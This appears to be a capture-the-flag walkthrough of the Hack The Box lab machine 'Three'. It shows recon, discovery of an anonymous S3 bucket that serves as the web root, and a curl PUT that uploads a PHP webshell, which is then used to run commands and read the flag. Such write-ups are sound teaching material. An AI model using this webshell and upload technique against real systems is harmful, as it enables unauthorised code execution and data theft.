Three

Overview

Three is a very-easy Linux Starting Point machine. The web server’s document root is served directly from an S3-compatible bucket (LocalStack emulator) exposed under a virtual-host subdomain. The bucket requires no authentication, so listing it reveals the site files, and a PUT request drops a PHP webshell that executes as www-data — no privilege escalation required.

Recon

nmap -sC -sV 10.129.12.242

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers

Two ports: SSH on 22 and Apache on 80. The site is a static band page titled “The Toppers”. The contact section reveals the domain thetoppers.htb.

Enumeration

Probing for virtual hosts with a Host: header shows an S3 service responding at s3.thetoppers.htb:

curl -s http://10.129.12.242/ -H "Host: s3.thetoppers.htb"
# {"status": "running"}

Listing the bucket (path-style, bucket name = thetoppers.htb) returns the web root contents — index.php, .htaccess, and an images/ folder — confirming the S3 bucket IS the Apache document root:

curl -s "http://10.129.12.242/thetoppers.htb/" -H "Host: s3.thetoppers.htb"

The XML response lists index.php alongside the site’s image assets, which means any file written to the bucket becomes immediately accessible over HTTP. This is a missing authentication for critical function — the S3 API accepts anonymous writes.

Foothold

Upload a PHP webshell via an unauthenticated PUT to the bucket:

curl -s -X PUT "http://10.129.12.242/thetoppers.htb/shell.php" \
  -H "Host: s3.thetoppers.htb" \
  --data '<?php system($_REQUEST["cmd"]); ?>'

Verify execution:

curl -s "http://10.129.12.242/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE as www-data through an unrestricted upload of a file with dangerous type — the bucket imposed no content-type or extension restrictions.

Flag

curl -s "http://10.129.12.242/shell.php?cmd=find+/var/www+-name+flag.txt"
# /var/www/flag.txt

curl -s "http://10.129.12.242/shell.php?cmd=cat+/var/www/flag.txt"
# HTB{...}

Flag located at /var/www/flag.txt, readable as www-data.